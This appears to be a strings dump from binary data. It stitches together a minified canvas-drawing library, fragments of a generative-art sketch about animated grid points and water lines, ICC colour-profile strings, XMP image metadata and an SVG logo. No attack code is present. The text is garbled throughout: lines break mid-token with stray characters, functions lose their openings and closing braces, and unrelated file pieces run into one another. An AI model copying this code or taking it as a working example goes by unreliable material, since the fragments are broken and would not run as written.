et=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.widtM
h+e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.M
globalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalComposiM
teOperation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);letM
 a=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAligM
n=function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStylM
e} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,M
g=.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<M
17,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>tM
,rand:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=M
127&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*cM
*c),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randoM
mExponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacitM
y=1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.M
frameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmoM
useY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPresseM
d=!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHoldeM
r&&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButM
ton=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestM
Permission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZM
,n.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*M
t[1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[M
15],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(M
e),0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
  _lastFrameTime = window.performance.now();
  palette = getColorsFromUrl(colorUrls[paletteIndex]);
  setWindowParams();
  createCanvas(w, h);
  frameRate(refreshRate);
  ellipseMode(RADIUS)
  strokeJoin(BEVEL);
   generateTestData();
 function createBackground() {
  backgBuff = createGraphics(w, h)
  drawBackground(backgBuff)
   drawNoise(backgBuff)
ction keyPressed() {
  if (keyCode === 32) {
    generateTestData();
  } else if (keyCode === 70) {
   let fs = fullscreen();
  } else if (keyCode === 82) {
 let firstRun = true;
  delta = speeds[speedIdx] - displaySpeed;
  displaySpeed = displaySpeed + delta * 0.05;
  t = (t + (deltaTime * displaySpeed) / refreshRate) % 129600;
  t2 = (t2 + (deltaTM
ime * displaySpeed) / refreshRate) % 129600;
  for (const pressurePointsx of pressurePoints) {
   for (const pp of pressurePointsx) {
  image(backgBuff, 0, 0, w, h)
  translate(w / numX / 2, h / numY / 2)
  drawingContext.shadowColor = shadowColor;
  drawingContext.shadowOffsetX = 5;
  drawingContext.shadowOffsetY = -5;
  drawingContext.shadowBlur = 10;
  for (let i = 0; i < pressurePoints.length; i++) {
   drawWaterLine(lineColorIdx, pressurePoints[i]);
  for (let i = 0; i < prM
essurePoints[0].length; i++) {
   drawWaterLine(lineColorIdx, pressurePoints.map(line => line[i]));
  for (const spot of spots) {
  for (const pressurePointsx of pressurePoints) {
   for (const pp of pressurePointsx) {
    pp.shouldEmit();
  constructor(x, y, size, shape) {
   this.size = size;
   this.shape = shape;
is.shape2 = this.shape;
   this.seed = seeds++;
   this.phase = random(1);
   let step = this.seed + this.phase;
   let nx = (noise(this.seed, (t + this.phase) * wiggleSpeed + step * 1, 0) - 0.45)
   let ny = (noise(this.seed, (t + this.phase) * wiggleSpeed + step * 2, 1) - 0.45)
   this.dx = this.x + nx * vigour;
   this.dy = this.y + ny * vigour;
   this.shape += (this.shape2 - this.shape) * 0.5
   if (this.charge > 0) {
   if (this.shape2 > 0 && random(1) < emitRate / 10 / refreshRate) {
   this.charge += 0.1
   if (this.charge > 1) {
    this.charge = 0;
   let direction = int(random(4));
   switch (direction) {
     next = this.top
     if (next != null) {
      nextNext = next.top
      previous = this.bottom
     next = this.bottom
      nextNext = next.bottom
      previous = this.top
     next = this.left
     if (next != null) {
      nextNext = next.left
      previous = this.right
     next = this.right
     if (next != null) {
      nextNext = next.right
      previous = this.left
   if (next != null) {
    spots.add(new Spot(previous, this, next, nextNext, this.size))
   translate(this.dx, this.dy)
   scale(3 + this.charge)
   strokeWeight(0.5)
   if (this.shape < 0.01) {
   } else if (this.shape < 1.01) {
    strokeWeight(0.5 * (this.shape))
    stroke(shapeColor)
    line(0, 0, 0, 0,)
   } else if (this.shape <= 2.01) {
    let l = (this.shape - 1)
    stroke(shapeColor)
    line(-l / 2, 0, l / 2, 0)
    if (openShape) {
     stroke(shapeColor)
     fill(shapeColor)
    vertex(cos(a), sin(a))
    for (let i = 0; i < this.shape; i++) {
     a = TWO_PI * i / this.shape;
     vertex(cos(a), sin(a))
    endShape(CLOSE);
  constructor(pp0, pp1, pp2, pp3, size) {
   this.pp0 = (pp0 != null) ? pp0 : pp1
   this.pp3 = (pp3 != null) ? pp3 : pp2
   if (this.t > 1) {
    spots.delete(this)
    this.pp2.receive()
   let x = curvePoint(this.pp0.dx, this.pp1.dx, this.pp2.dx, this.pp3.dx, this.t)
   let y = curvePoint(this.pp0.dy, this.pp1.dy, this.pp2.dy, this.pp3.dy, this.t)
   circle(x, y, this.size)
 function drawNoise(b) {
  let dotScale = min(w, h) /500
  b.drawingContext.shadowColor = shadowColor;
  b.drawingContext.shadowOffsetX = dotScalM
  b.drawingContext.shadowOffsetY = -dotScale *1.6;
  // let dotScale = min(w, h) /500
  for (let i = 0; i < nx; i += 7) {
   for (let j = 0; j < ny; j += 7) {
    let n = noise(i,j)
     b.circle(i/nx * w, j/ny * h, dotScale)
 function drawBackground(b) {
  gradient = drawingContext.createLinearGradient(0, h, w, 0);
  gradient.addColorStop(0, restOfColors[0]);
ColorStop(1, paint);
  b.drawingContext.fillStyle = gradient;
  let col = color(paint._r, paint._g, paint._b);
  gradient = drawingContext.createLinearGradient(0, h, w, 0);
  gradient.addColorStop(0, col);
  gradient.addColorStop(1, restOfColors[0]);
  b.drawingContext.fillStyle = gradient;
  for (const p of bgCurvePoints) {
   b.curveVertex(p[0], p[1])
 function drawWaterLine(index, pressurePoints) {
  let colorIdx = (index + 1) % restOfColors.length;
  theColor1 = new color(restOfColors[colorIdx])
  theColor = new color(restOfColors[(colorIdx + 1) % restOfColors.length])
  strokeWeight(lineThickness)
  stroke(restOfColors[colorIdx])
  let last = pressurePoints.length - 1
  curveVertex(pressurePoints[0].x, pressurePoints[0].y)
  for (const pp of pressurePoints) {
   curveVertex(pp.dx, M
  curveVertex(pressurePoints[last].x, pressurePoints[last].y)
 function initiateData() {
  let chosenPaint = paintIdx % palette.length;
  paint = palette[chosenPaint];
  restOfColors = [...palette]
  restOfColors.splice(chosenPaint, 1);
  lineColor = restOfColors[lineColorIdx % restOfColors.length];
  shapeColor = restOfColors[shapeColorIdx % restOfColors.length];
  shadowColor = restOfColors[shadowColorIdx % restOfColors.length];
  emitColor = restOfColors[emitColorIdx M
% restOfColors.length];
  wiggleStrength = wiggleStrengths[wiggleStrengthIdx];
  vigour = wiggleStrength * 10 / min(numX, numY)
  vigour = wiggleStrength * (11 - max(numX, numY))
  wiggleSpeed = wiggleSpeeds[wiggleSpeedIdx]
 function recalcData() {
  noiseSeed(tokenId)
  noiseDetail(1, 0.5)
  randomSeed(tokenId)
  recalcBackgroundWave()
  createBackground()
  recalcPressurePoints()
 function recalcBackgroundWave() {
  bgCurvePoints = []
  bgCurvePoints.push([-w, -h])
  bgCurvePoints.push([-w, h])
  bgCurvePoints.push([w * (0 + random(-v, v)), h * (1 + random(-v, v))])
  bgCurvePoints.push([w * (0.5 + random(-v, v)), h * (0.5 + random(-v, v))])
  bgCurvePoints.push([w * (1 + random(-v, v)), h * (0 + random(-v, v))])
  bgCurvePoints.push([w, -h])
  bgCurvePoints.push([-w, -h])
 function recalcPressurePoints() {
  windowScale = min(w, h)
  let nodeScale = nodeSize * windowScale * 0.001
  pressurePoints = []
  let edgeX = 1 / numX * 0.5;
  for (let i = 0; i < numX; i++) {
   pressurePoints[i] = [];
   for (let j = 0; j < numY; j++) {
    pp = new PP((edgeX + float(i) / numX * w), (edgeY + float(j) / numY * h),
     nodeScale, 1 + int(random(shapeSizesDensity)));
    pressurePoints[i][j] = pp;
     pp.left = null;
     pp.left = pressurePoints[i][j - 1];
     pressurePoints[i][j - 1].right = pp;
    if (j === numX) {
     pp.right = null;
     pp.top = pressurePoints[i - 1][j];
     pressurePoints[i - 1][j].bottom = pp;
    if (i === numY) {
     pp.bottom = null;
 function setWindowParams() {
  windowScale = min(w, h)
 function windowResized() {
  resizeCanvas(windowWidth, windowHeight);
  setWindowParams();
  strokeJoin(BEVEL);
 function getColorsFromUrl(url) {
  let colStrs = url.split("-");
  for (colStr of colStrs) {M
    parseInt(colStr.substring(0, 2), 16),
    parseInt(colStr.substring(2, 4), 16),
    parseInt(colStr.substring(4, 6), 16)))
 function randomGeneration() {
  paletteIndex = int(random(colorUrls.length))
  palette = getColorsFromUrl(colorUrls[paletteIndex]);
  console.log("colorindex: ", paletteIndex)
  paintIdx = int(random(palette.length))
  lineColorIdx = int(random(palette.length))
  shapeColorIdx = int(random(palM
  numX = 1 + int(random(7))
  numY = 1 + int(random(7))
  lineThickness = 1 + random(5)
  wiggleStrength = 10 + int(random(40))
  wiggleStrengthIdx = int(random(wiggleStrengths.length))
  wiggleSpeedIdx = int(random(wiggleSpeeds.length))
  shapeSizesDensity = 1 + int(random(7))
  emitRate = 1 + int(random(10))
  openShape = random(2) < 1
  hasTexture = random(2) < 1
  tokenId = int(random(2000))
 function common() {
 function generateTestData() {
  randomGeneration()
 function float(s) {
  return parseFloat(s)
 let lastFrameTime = 0
 function setDelta() {
  var now = window.performance.now();
  deltaTime = now - _lastFrameTime;
  _lastFrameTime = now;
 function fullscreen(val) {
  if (typeof val === 'undefined') {
   return document.fullscreenElement || document.webkitFullscreenElement || document.mozFullScreenElement || document.msFullscreenElement;
hFullscreen(document.documentElement);
    exitFullscreen();
 function launchFullscreen(element) {
  var enabled = document.fullscreenEnabled || document.webkitFullscreenEnabled || document.mozFullScreenEnabled || document.msFullscreenEnabled;
   throw new Error('Fullscreen not enabled in this browser.');
  if (element.requestFullscreen) {
   element.requestFullscreen();
  } else if (element.mozRequestFullScreen) {
   element.mozRequestFullScreen();
  } else if (element.webkitRequestFullscreen) {
   element.webkitRequestFullscreen();
  } else if (element.msRequestFullscreen) {
   element.msRequestFullscreen();
 function exitFullscreen() {
  if (document.exitFullscreen) {
   document.exitFullscreen();
  } else if (document.mozCancelFullScreen) {
   document.mozCancelFullScreen();
  } else if (document.webkitExitFullscreen) {
   document.webkitExitFullscreen();
  } else if (document.msExitFullscreen) {
   document.msExitFullscreen();
ms.get('mr') === null) {
  window.onresize = windowResized;
  console.log("no autoresize")
 nC = urlParams.get('nc')
text/plain;charset=utf-8
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
(#!#-+(0<dA<77<{X]Id
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEveM
nt#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:b6412b1c-50fe-4b1d-a637-c689de7c14e5" xmpMM:InstanceID="xmp.iid:37f18919-7f6f-4d72-8d10-c363a81890c7" xmpMM:OriginalDocumentID="xmp.did:095e45d9-7ca3-4980-8247-bf5086b2deef" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676301745587035" GIMP:Version="2.10.32" tiff:Orientation="1" xM
mp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T10:22:14-05:00" xmp:ModifyDate="2023:02:13T10:22:14-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:890089f1-904d-46fa-9862-5cd7b3913b9d" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T10:22:25"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>h!
<svg viewBox="0 0 261 261" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:2"><path d="M.002 0h261v261h-261z"/><path d="m97.283 1018.59-7.561 3.71v-27.877l7.561-3.71v27.877zm10.265-5.04-7.561 3.71v-27.877l7.556-3.71h.005v27.877zm2.704-1.33v-27.877l7.561-3.71v27.877l-7.561 3.71z" style="fill:#fff" transform="matrix(2.56324 0 0 2.56324 -98.143 -2436.501)"/><path d="M87.086 1014.8v7.5l-28.056-13.77v-7.5l28.056 13.77zm0-10.19v7.5M
L59.03 998.34v-7.5l28.056 13.77zm0-10.19v7.51L59.03 988.16v-7.51l28.056 13.77z" style="fill:#ff9500" transform="matrix(2.56324 0 0 2.56324 -98.143 -2436.545)"/><g><path d="m28158.4 8665.5-.4-.88h-.4v.89h-.8v-2.43h1.1c.3 0 .6.03.8.09.1.06.3.15.4.27.1.11.1.24.1.4 0 .14 0 .26-.1.38s-.2.21-.4.28l.6 1.01-.9-.01zm-.8-1.4h.4c.1 0 .2-.02.3-.06.1-.03.1-.09.1-.17 0-.06 0-.12-.1-.16-.1-.04-.2-.06-.4-.06h-.3v.45zm.3 2.73c-.4 0-.8-.06-1.1-.19-.4-.13-.7-.31-.9-.55-.3-.23-.5-.49-.6-.79a1.7 1.7 0 0 1 0-1.93c.1-.31.3-.57.6-.8.3-.23M
.6-.41.9-.54.4-.13.7-.19 1.1-.19.4 0 .8.06 1.1.19.4.13.7.31 1 .54.2.23.4.49.6.8.1.3.2.63.2.97 0 .27 0 .54-.1.79s-.3.48-.4.68c-.2.21-.4.39-.7.54-.2.15-.5.27-.8.36-.3.08-.6.12-.9.12zm.1-.62c.3 0 .6-.05.8-.15.3-.1.5-.23.7-.4.2-.18.3-.38.4-.61.2-.22.2-.46.2-.72 0-.26-.1-.5-.2-.73-.1-.22-.2-.42-.4-.59-.2-.18-.5-.31-.7-.42-.3-.1-.6-.15-.8-.15-.3 0-.6.05-.9.15-.2.1-.5.23-.7.41-.2.17-.3.37-.4.6-.2.23-.2.47-.2.74 0 .26 0 .5.2.72.1.22.2.42.4.6.2.17.5.3.7.4.3.1.6.15.9.15z" style="fill:#ff9500;fill-rule:nonzero" transform="mat:rix(3.00518 0 0 3.52943 -84424.54 -30405.328)"/></g></svg>h!
viTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
